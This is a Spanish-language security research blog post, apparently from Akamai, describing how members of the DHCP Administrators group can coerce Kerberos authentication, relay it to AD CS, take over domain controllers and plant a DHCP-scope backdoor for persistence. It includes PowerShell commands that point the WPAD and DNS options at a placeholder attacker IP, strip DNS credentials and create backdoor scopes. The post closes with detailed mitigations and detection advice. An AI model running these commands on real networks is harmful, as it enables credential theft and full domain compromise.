Uso indebido del grupo de administradores DHCP para escalar privilegios en dominios de Windows
Comentario editorial y adicional de Tricia Howard
Resumen ejecutivo
Los investigadores de Akamai han descubierto una nueva técnica de escalada de privilegios que afecta a los entornos de Active Directory y que se sirve del grupo de administradores DHCP.
En los casos en los que la función de servidor DHCP esté instalada en un controlador de dominio (DC), esto podría permitir la obtención de privilegios de administrador de dominio.
La técnica se basa en el uso indebido de características legítimas y no depende de ninguna vulnerabilidad. Por este motivo, no existe una solución.
Además de proporcionar un primitivo de escalada de privilegios, la misma técnica también se podría utilizar para crear un mecanismo sigiloso de persistencia de dominio.
El servidor DHCP de Microsoft es muy popular: se ha observado que se usa en el 40 % de las redes que supervisa Akamai. Cualquier entorno en el que se ejecute este servidor podría ser vulnerable.
Proporcionamos pasos detallados que pueden reducir de forma drástica el riesgo de esta técnica e identificar su posible explotación, así como una forma de identificar la configuración que hace que sea posible.
Introducción
Desde Google Docs hasta Active Directory, la gestión de acceso afecta a casi todas las funciones de una organización. Minimizar las frustraciones de los empleados sin añadir riesgos innecesarios es un equilibrio delicado cuando hablamos de permisos y control de acceso, una difícil situación de la que los equipos de seguridad son conscientes.
Como tal, el punto ideal de "solo el acceso necesario" es un elemento crítico de cualquier estrategia de acceso. Se reduce a lo siguiente: Se debe otorgar a cada usuario un conjunto de privilegios que sean necesarios para realizar sus tareas, pero deben ser lo más limitados somo sea posible en cualquier otro aspecto. Esto puede reducir el impacto de una vulneración por parte de un usuario individual, lo que evita el movimiento lateral y la explotación adicional.
Aunque eliminaría la mayor parte del riesgo, la gestión del acceso basada en identidad por identidad no es realista ni factible, especialmente a nivel empresarial. En cambio, los grupos de acceso de usuarios proporcionan permisos generalizados según la función del puesto de trabajo, un concepto que se ve con más frecuencia en AD. Por ejemplo, Microsoft proporciona el grupo "Administradores de DNS", que es un grupo de AD encargado de gestionar los servidores DNS. Siguiendo el principio de "solo el acceso necesario", sus miembros no tienen permisos en el equipo que aloja el servidor DNS, sino solo para la configuración relacionada con el servicio DNS.
Aunque todo esto funciona en teoría, en la práctica, es una historia diferente. Una investigación de Shay Ber en 2017 demostró cómo podrían los miembros del grupo "Administradores de DNS" hacer un uso indebido de uno de los privilegios del grupo para ejecutar código en servidores DNS, lo que casi siempre conllevaría una escalada de privilegios a administradores de dominio.
Microsoft DHCP proporciona un grupo de seguridad similar denominado "administradores DHCP". Mientras trabajábamos en nuestra reciente investigación de Microsoft DHCP, nos planteamos la cuestión de encontrar un primitivo similar utilizando este grupo: ¿Puede un administrador DHCP convertirse en administrador de dominio? Resulta que, a veces, puede hacerlo.
En esta entrada de blog, hablaremos sobre el grupo de administradores DHCP y mostraremos cómo se podría hacer un uso indebido de uno de sus privilegios para comprometer los servidores DHCP, incluida una toma completa del dominio en los casos en los que el servidor DHCP esté instalado en un DC.
También mostraremos cómo se puede utilizar esta misma técnica para establecer un interesante mecanismo de persistencia de dominio, y proporcionaremos los detalles para implementar una “puerta trasera DHCP".
Dado que esta técnica utiliza privilegios y opciones legítimos que están disponibles para los administradores DHCP, no existe una solución sencilla como un parche, porque no hay ninguna vulnerabilidad. Para ayudar a reducir el riesgo de esta técnica, hemos incluido pasos detallados de mitigación y detección en esta entrada de blog.
¿Qué son los administradores DHCP?
El grupo de administradores DHCP es un grupo de usuarios de AD destinado a gestionar servidores DHCP (Protocolo de configuración dinámica de host). Permite a sus miembros consultar y modificar la configuración del servicio DHCP en servidores remotos.
Lo que es más importante, sus miembros no tienen permisos en el propio equipo servidor DHCP, sino solo para la configuración del servicio DHCP. Esto significa que un administrador DHCP no debería poder ejecutar código en un servidor DHCP, sino solo modificar las configuraciones relacionadas con DHCP. Una de las configuraciones que controlan los administradores DHCP son las opciones de DHCP.
Uso indebido de las opciones de DHCP
Los clientes de red requieren un conjunto de configuraciones para participar en una red, incluidas una dirección IP y una máscara de subred, una dirección de puerta de enlace predeterminada y un servidor DNS, por nombrar solo algunas. Los servidores DHCP anuncian estas configuraciones a sus clientes en forma de opciones de DHCP: las diferentes configuraciones se combinan con un identificador de opción definido y los clientes las consultan (Figura 1).
Fig. 1: Ejemplos de opciones de DHCP configuradas en un servidor DHCP
Los clientes DHCP solicitan las opciones necesarias y modifican su configuración de red según las respuestas. Con la capacidad de controlar los valores de estas opciones en el servidor, un atacante podría hacer un uso indebido de cada opción solicitada por un cliente para inyectar una configuración maliciosa.
Para comprender la superficie de ataque potencial en clientes Windows, podemos examinar las opciones que se solicitan de forma predeterminada (Figura 2).
Fig. 2: Opciones de DHCP configuradas en un servidor DHCP
Detección automática de proxy
Podemos observar que una de las configuraciones solicitadas es la "Detección automática de proxy" (resaltada en azul en la Figura 2), que se utiliza para configurar automáticamente un proxy web (WPAD). Esta opción permite a un servidor DHCP especificar la URL de un archivo "wpad.dat", que contiene la configuración de proxy que utilizará el cliente.
Podemos configurar esta opción y especificar nuestra dirección como proxy ejecutando los siguientes comandos de PowerShell:
Add-DhcpServerv4OptionDefinition -name wpad -OptionId 252 -type String
Set-DhcpServerv4OptionValue -Wpad "http://<attacker_ip>/wpad.dat" -ScopeId 172.25.0.0
Podemos ver que, después de establecer esta opción, los clientes de Windows reciben nuestra configuración cuando se arrienda una dirección del servidor DHCP (Figura 3).
Fig. 3: El cliente DHCP recibe la configuración de proxy del servidor
Después de recibir esta configuración, el cliente DHCP se conectará a nuestra equipo a través de HTTP e intentará recuperar el archivo "wpad.dat" (Figura 4).
Fig. 4: El cliente DHCP solicita un archivo "wpad.dat" del equipo del atacante
La capacidad de suplantar a un servidor WPAD ofrece la oportunidad de que se produzcan diversos ataques que podrían comprometer las credenciales del cliente.
Hay otras opciones DHCP que podemos utilizar para obtener un resultado similar. Esta capacidad existe indudablemente por diseño, y no se trata en realidad de un problema de seguridad. Los administradores DHCP pueden, en fin… administrar DHCP. Sin embargo, el impacto de esta capacidad puede ser más amplio de lo esperado.
Opción de servidor DNS de DHCP
Al analizar las diferentes opciones de DHCP de las que se podría hacer un uso indebido, una de ellas captó nuestra atención: la opción de servidor de DNS . De forma similar al ataque anterior, un administrador DHCP puede suplantar la dirección del servidor DNS y las respuestas DNS para obtener una posición de máquina intermedia (MITM). Pero, resulta que esta opción permite mucho más.
Normalmente, las opciones de DHCP se utilizan para servir datos a los clientes que los solicitan. Es interesante señalar que la opción de servidor DNS tiene otro propósito: su valor se utilizará como destino de las actualizaciones dinámicas de DNS de DHCP (Figura 5).
Fig. 5: Efecto de la opción de servidor DNS en el proceso de actualización dinámica del DNS de DHCP
¿Por qué es interesante? El servidor DNS de Microsoft y los clientes DNS de Windows admiten una función de Actualizaciones dinámicas denominada actualizaciones dinámicas seguras. Con esta función activada (lo está de forma predeterminada), los clientes DNS deben autenticarse antes de realizar actualizaciones del DNS en el servidor. Esta autenticación se realiza mediante Kerberos a través de DNS.
Con una cuenta de administrador DHCP, podemos controlar la opción de servidor DNS en el servidor DHCP y hacer que se autentique en una dirección de nuestra elección. En los pasos de la Figura 6 se muestra cómo se logra.
Fig. 6: Arrendamiento de DHCP que hace que el servidor se autentique con el cliente a través de Kerberos
En el servidor DHCP objetivo, configuramos nuestra dirección IP (172.25.14.19) como la opción de servidor DNS.
Desde nuestro equipo, arrendamos una dirección IP mientras especificamos la opción de FQDN. En este ejemplo, especificamos el FQDN "aaa.aka.test". Esto activa una actualización dinámica del DNS de DHCP.
El servidor DHCP envía una consulta DNS de "inicio de autoridad" (SOA) a nuestra equipo (pensando que es el servidor DNS). El servidor DHCP utiliza esta consulta para comprobar qué servidor DNS es autoritativo en "aaa.aka.test".
Respondemos a la consulta de SOA especificando nuestra equipo como servidor DNS autoritativo para el registro "aaa.aka.test".
El servidor DHCP intenta crear el registro enviando una actualización dinámica de DNS a nuestro equipo. Este intento de actualización no está autenticado.
Rechazamos la actualización no autenticada para activar un intento de autenticación por parte del servidor.
El servidor DHCP se autentica en nuestra equipo mediante la autenticación Kerberos a través de DNS, implementada mediante el envío de una consulta TKEY.
La Figura 7 muestra un ejemplo de captura de esta técnica en acción.
Fig. 7: Captura de paquetes del arrendamiento de DHCP y tráfico de DNS posterior
Esta técnica, que hemos denominado forzado DHCP, nos concede una primitiva de forzado de autenticación Kerberos, ya que podemos hacer que cualquier servidor DHCP se autentique en nuestra equipo.
¿Tiene alguna pregunta sobre la seguridad DHCP?
Forzado DHCP para la retransmisión Kerberos
El forzado DHCP ofrece la oportunidad de un ataque de retransmisión Kerberos: podemos forzar la autenticación en nuestro equipo y, a continuación, realizar un ataque de retransmisión, lo que nos permite suplantar la cuenta del equipo del servidor DHCP. Esto permitiría el control total sobre el servidor en sí en lugar de los permisos más limitados que se incluyen en el grupo de administradores DHCP.
Aunque los objetivos de retransmisión Kerberos son algo limitados, seguimos teniendo una buena opción, como se ha descrito en una entrada de blog de Dirk Jan: la retransmisión Kerberos se puede utilizar para atacar AC DS (Servicios de certificados de Active Directory).
AD CS está formado por un conjunto de servicios que proporcionan una solución PKI para entornos de Active Directory. En el contexto de AD, el uso principal de esta PKI es activar la autenticación basada en certificados: con AD CS, los usuarios pueden emitir certificados para sí mismos y utilizarlos para autenticarse en recursos del dominio.
Una de las formas de emitir estos certificados es mediante el servicio de inscripción web, un servicio web que pueden utilizar los clientes para solicitar certificados. De forma predeterminada, este servicio es vulnerable a ataques de retransmisión Kerberos, ya que no comprueba la integridad del mensaje. Este problema se describe como ESC8 en la investigación sobre los llevada a cabo por Will Schroeder y Lee Christensen de SpecterOps.
Gracias a la combinación de nuestra primitiva de forzado con ESC8, podemos crear una cadena de ataques (Figura 8) que nos permitirá comprometer el servidor DHCP.
Fig. 8: Cadena de ataques completa de forzado DHCP
Uso de un administrador DHCP para forzar la autenticación Kerberos en nuestro equipo, como se describe en la sección anterior.
Uso de Krbrelayx.py para transmitir la autenticación a AD CS y obtener un certificado para la cuenta del equipo del servidor DHCP.
Uso del certificado para obtener el hash NTLM de la cuenta del equipo del servidor DHCP, una técnica que se describe en la investigación de SpecterOps como THEFT5.
Uso del hash NTLM para autenticarse como la cuenta del equipo del servidor DHCP y ejecución del código.
Para obtener más información sobre los pasos 2–4, consulte la publicación de blog relativa a la retransmisión Kerberos a través de DNS mediante krbrelayx y mitm6 .
En resumen, si se utiliza AD CS en el entorno, una cuenta de administrador DHCP puede ejecutar código en cualquier servidor DHCP. Es alarmante.
Los servidores DHCP se instalan con frecuencia en DC: entre las redes que hemos observado que utilizan el servidor DHCP de Microsoft, el 57 % tiene un servidor DHCP instalado en un DC. En estos casos, un administrador DHCP puede poner en peligro el dominio completo tomando el control de la cuenta del equipo del DC.
Nota sobre la credencial de DNS
El ataque que acabamos de describir depende de que el servidor DHCP se autentique con su propia cuenta de equipo al realizar actualizaciones del DNS. Una de las prácticas recomendadas por Microsoft es configurar un usuario débil como credencial de DNS para el servidor DHCP: una credencial alternativa que se debe utilizar en lugar de la cuenta de equipo al realizar actualizaciones.
Esta configuración podría anular nuestro ataque de retransmisión. En lugar de comprometer la cuenta de equipo del servidor, obtendremos los permisos de un usuario débil.
Por suerte para nosotros, somos administradores DHCP. Un administrador DHCP puede eliminar una credencial de DNS existente sin conocer la credencial en sí. Se puede utilizar el comando Remove-DhcpServerDnsCredential para este fin. Después de eliminar la credencial DNS, el servidor DHCP vuelve al valor predeterminado y utiliza su cuenta de equipo para realizar actualizaciones.
Persistencia del dominio DHCP
Además de hacer un uso indebido del grupo de administradores DHCP para ejecutar código en servidores DHCP, la técnica que acabamos de describir podría utilizarse como arma para crear un interesante mecanismo de persistencia de dominio.
Una vez configurada la opción de servidor DNS, no se necesitan credenciales para forzar la autenticación; un atacante solo necesita arrendar una dirección IP del servidor DHCP. Esto puede permitir a un atacante realizar un ataque de forzado DHCP desde fuera del dominio sin credenciales.
Ámbito de puerta trasera DHCP
Un ámbito DHCP es un conjunto definido de direcciones IP en una subred específica que puede arrendar el DHCP. Las opciones de DHCP se pueden configurar por ámbito, lo que permite contar con diferentes configuraciones para varias subredes.
Para realizar un forzado DHCP, debemos cambiar la opción de servidor DNS en uno de los ámbitos DHCP. Obviamente, no queremos utilizar un ámbito existente para este fin: si modificamos la opción de servidor DNS de un ámbito existente, esta configuración se transferiría a los clientes DHCP, lo cual provocaría problemas de comunicación y podría llevar a la detección de nuestra puerta trasera.
En lugar de ello, lo que queremos es crear un ámbito dedicado con un rango de direcciones que no se utilice en ninguna subred de la red (Figura 9).
Fig. 9: Creación de un ámbito DHCP de "puerta trasera"
Pero hay un problema con este enfoque basado en la lógica de selección de ámbito del servidor DHCP. Cuando un cliente arrienda una dirección IP, el servidor determina el ámbito DHCP que se utilizará en función de la subred de origen del cliente. Esta subred se identifica mediante la interfaz de red que recibió el mensaje de detección de DHCP (Figura 10).
Fig. 10: Selección del ámbito DHCP basado en la interfaz de red
Para activar la puerta trasera, debemos arrendar una dirección IP de nuestro ámbito malicioso. Para ello, tenemos que estar presentes en una subred vinculada a este ámbito. Al mismo tiempo, queremos que nuestro ámbito no esté vinculado a una subred existente en la red para evitar interrumpir la conectividad del cliente. Sin embargo, estos dos requisitos se contradicen entre sí: si un ámbito no está vinculado a una subred existente, no podemos llegar a ella. Si está vinculado, otros clientes también pueden llegar a ella. Afortunadamente, el agente de retransmisión DHCP viene al rescate.
Agente de retransmisión DHCP
Una solución a este problema sería la función de agente de retransmisión DHCP. Un agente de retransmisión DHCP es un servidor diseñado para que los clientes puedan arrendar direcciones IP de un servidor DHCP aunque no haya uno en su red local (Figura 11).
Fig. 11: Proceso de arrendamiento de DHCP con un agente de retransmisión
El agente de retransmisión recibe mensajes de difusión DHCP de los clientes y los transmite al servidor DHCP en nombre de los clientes. El agente de retransmisión DHCP informa al servidor DHCP de la subred de origen del cliente a través de la opción, de DHCP de información del agente de retransmisión, que permite al servidor determinar el ámbito correcto que se debe utilizar al arrendar una dirección IP.
Hemos observado que esta función permite a un agente de retransmisión DHCP solicitar una dirección IP de cualquier ámbito, independientemente de la interfaz del servidor DHCP. Un atacante puede actuar como agente de retransmisión e indicar cualquier subred de la opción de información del agente de retransmisión, lo que le permite arrendar una dirección IP de cualquier ámbito (Figura 12).
Fig. 12: Arrendamiento de una dirección IP de un ámbito especificado actuando como agente de retransmisión DHCP
Hay una última advertencia que debe tenerse en cuenta: la dirección IP del propio servidor de retransmisión debe formar parte de un ámbito existente en el servidor. El objetivo es evitar que clientes no autorizados accedan al servidor. Para solucionarlo, podemos seguir la recomendación de Microsoft y crear un ámbito dedicado que incluya nuestra dirección IP externa, "autorizándola" de forma ilegítima para que actúe como una retransmisión.
Uso indebido de la opción de agente de retransmisión DHCP
Una puerta trasera potencial (Figura 13) constará de 2 ámbitos:
Ámbito de autorización. Ámbito diseñado para autorizar a nuestro equipo atacante para que actúe como agente de retransmisión DHCP. Su rango de IP incluirá la dirección IP de nuestro equipo atacante externo.
- Ámbito de forzado. Ámbito que se utilizará para arrendar una dirección IP, activando un intento de autenticación Kerberos en nuestro equipo atacante. Su opción de servidor DNS se configuraría con la IP de nuestro equipo atacante externo, y su rango de IP puede ser cualquier rango arbitrario que no se utilice en la red.
Fig. 13: Diseño de puerta trasera DHCP
El siguiente código de PowerShell muestra cómo se pueden crear estos ámbitos:
Import-Module DhcpServer
Add-DhcpServerv4Scope -StartRange <attacker_ip> -EndRange <attacker_ip> -Name " " -SubnetMask <mask>
Add-DhcpServerv4Scope -StartRange <coercion_scope_address> -EndRange <coercion_scope_address> -Name " " -SubnetMask <mask>
Set-DhcpServerv4OptionValue -OptionId 6 -Value <attacker_ip> -Force -ScopeId <coercion_scope_address>
Para activar la puerta trasera, arrendamos una dirección del servidor DHCP con los siguientes ajustes:
Utilizamos nuestra dirección IP en el campo DHCP (giaddr) de la dirección IP del agente de retransmisión. Este campo se utiliza para informar al servidor DHCP de la dirección IP del agente de retransmisión. Esta IP debe estar dentro del "ámbito de la autorización".
Incluimos la opción de información del agente de retransmisión con una dirección IP dentro del "ámbito de forzado".
En la figura 14, nuestro ámbito de autorización incluye la dirección IP 172.25.14.18 y nuestro ámbito de forzado incluye la dirección 66.66.66.66.
Fig. 14: Ajustes de detección de DHCP al actuar como agente de retransmisión
Hemos añadido compatibilidad con el agente de retransmisión a DDSpoof, nuestro Kit de herramientas de suplantación de DNS de DHCP, y creado un script de prueba de concepto denominado dhcp_coerce.py que hace posible la ejecución de este ataque. El script actúa como agente de retransmisión DHCP y solicita una dirección IP de nuestro ámbito solicitado, lo que nos permite activar el forzado de autenticación a través de nuestro ámbito de forzado (Figura 15).
Fig. 15: Uso de DDSpoof para activar la puerta trasera DHCP
Mitigaciones
Las medidas defensivas frente a esta amenaza son:
Identificación de una configuración DHCP de riesgo
Mitigación de ataques de retransmisión contra AD CS
Puesta en práctica de unas medidas de higiene en el grupo de administradores DHCP
Uso de la segmentación para reducir la superficie de ataque
Identificación de anomalías de DNS
Identificación de una configuración DHCP de riesgo
Invoke-DHCPCheckup.ps1 puede ayudarle a identificar una configuración DHCP de riesgo. El riesgo más grave en el contexto de la cadena de ataque de forzado DHCP es la instalación de un servidor DHCP en un DC, una configuración que recomendamos evitar.
Ejecute Invoke-DHCPCheckup para mostrar todos los servidores DHCP de Microsoft activos e identificar los que están instalados en controladores de dominio (figura 16). Si es posible, desactive el servicio de servidor DHCP en todos los DC.
Fig. 16: Identificación de un servidor DHCP instalado en un controlador de dominio mediante Invoke-DHCPCheckup
Mitigación de ataques de retransmisión contra AD CS
La forma más eficaz de evitar esta cadena de ataques es mitigar los ataques de retransmisión contra los servidores de AD CS, lo que frustraría la capacidad de uso indebido del primitivo de forzado de autenticación.
El riesgo de ataques de retransmisión y la variante contra AD CS no son nuevos, y Microsoft los conoce. La protección ampliada para la autenticación (EPA) es una función que se introdujo para evitar dichos ataques, pero no está activada de forma predeterminada para AD CS. Para mitigar el riesgo de ataques de retransmisión a AD CS, desactive HTTP y active la función EPA en todos los servidores de AD CS.
Puesta en práctica de unas medidas de higiene en el grupo de administradores DHCP
Los miembros del grupo de administradores DHCP pueden poner en peligro los clientes y los servidores DHCP, por lo que este grupo se debe tratar como un activo de gran valor y supervisar en consecuencia. Limite la pertenencia al grupo de administradores DHCP tanto como sea posible para reducir el riesgo de que un usuario administrador se vea comprometido. Considere la posibilidad de utilizar un grupo de usuarios DHCP más limitado en los casos aplicables.
Uso de la segmentación para reducir la superficie de ataque
Además de las medidas defensivas anteriores, se podría utilizar la segmentación de red para mitigar el ataque y reducir la superficie de ataque, lo que podría prevenir posibles ataques similares.
Mediante Guardicore Segmentation de Akamai, los defensores pueden:
Bloquear el tráfico RPC a los servidores DHCP desde terminales que no sean de administrador, lo cual evita la capacidad de modificar las opciones de DHCP: cree una etiqueta que contenga los terminales que utilizan por los administradores DHCP y, a continuación, permita que solo esta etiqueta se comunique con los servidores DHCP a través de puertos no DHCP.
Bloquear el acceso a los servidores de inscripción AD CS para los terminales que no lo requieran, lo cual reduce la capacidad de realizar ataques de retransmisión: cree una etiqueta que contenga los terminales que requieran la emisión de certificados mediante AD CS y, a continuación, permita que solo esta etiqueta se comunique con los servidores de inscripción web.
Bloquear el tráfico DHCP hacia y desde Internet, lo cual evita la capacidad de los equipos externos de forzar la autenticación DHCP: cree una etiqueta para todos los servidores DHCP y, a continuación, bloquee todas las comunicaciones con direcciones de Internet.
Identificación de anomalías de DNS
El ataque se basa en forzar el servidor DHCP para que envíe una solicitud de actualización de DNS a una dirección distinta de la del servidor DNS estándar de AD. Este tipo de tráfico suele ser de naturaleza estática, por lo que este comportamiento es sumamente anómalo. Este comportamiento anómalo del tráfico puede servir como una oportunidad de detección para este ataque o cualquier otro ataque que haga un uso indebido de la autenticación Kerberos en el DNS.
Para identificar dichas anomalías, cree una lista de servidores DNS legítimos que deberían recibir actualizaciones de DNS, ya sea mediante consultas a AD o supervisión del tráfico de DNS. Esta lista debe ser bastante limitada y se debe utilizar como referencia del tráfico legítimo. Cualquier desviación de esta lista debe investigarse, especialmente si se trata de direcciones de Internet.
Akamai Hunt, el servicio de búsqueda gestionada de amenazas de Akamai, brinda protección a sus clientes mediante un amplio conjunto de técnicas de detección de anomalías que supervisan el entorno de manera constante en un intento de detectar lo desconocido.
Conclusión
Una escalada de privilegios malintencionada puede ser desastrosa, especialmente cuando utiliza procesos legítimos. Combinar controles de seguridad sólidos con las mínimas molestias para el usuario presenta un dilema importante para el profesional de la seguridad moderno. Con la introducción del Internet de las cosas, los trabajadores móviles distribuidos y la constante avalancha de explotaciones de vulnerabilidades, tanto nuevas como antiguas, nunca ha habido un momento tan crítico para comprender la estrategia de acceso.
El grupo de administradores DHCP es un ejemplo destacado de este concepto. Proporciona a sus miembros un conjunto seguro de permisos, pero los atacantes también pueden hacer un uso indebido de esos permisos. Especialmente en los que respecta a la seguridad, se puede hacer un uso indebido incluso de las funciones con las mejores intenciones
Los defensores deben ser conscientes de este riesgo potencial y tratar a este grupo con la precaución adecuada. Esperamos que esta publicación haya proporcionado el contexto y las medidas defensivas necesarios contra esta amenaza.
Más información
Para obtener más información sobre los riesgos relacionados con Microsoft DHCP, consulte otras publicaciones de blog sobre el tema:
Falsificación de registros de DNS al explotar actualizaciones dinámicas de DNS de DHCP
Uso de la suplantación de DNS de DHCP como arma: guía práctica
En el grupo de inteligencia sobre seguridad de Akamai seguiremos supervisando esta amenaza y otras similares, y publicando nuestros hallazgos. Para estar al tanto de las actualizaciones de DHCP y consultar otras investigaciones sobre seguridad, puede seguirnos en X (anteriormente Twitter).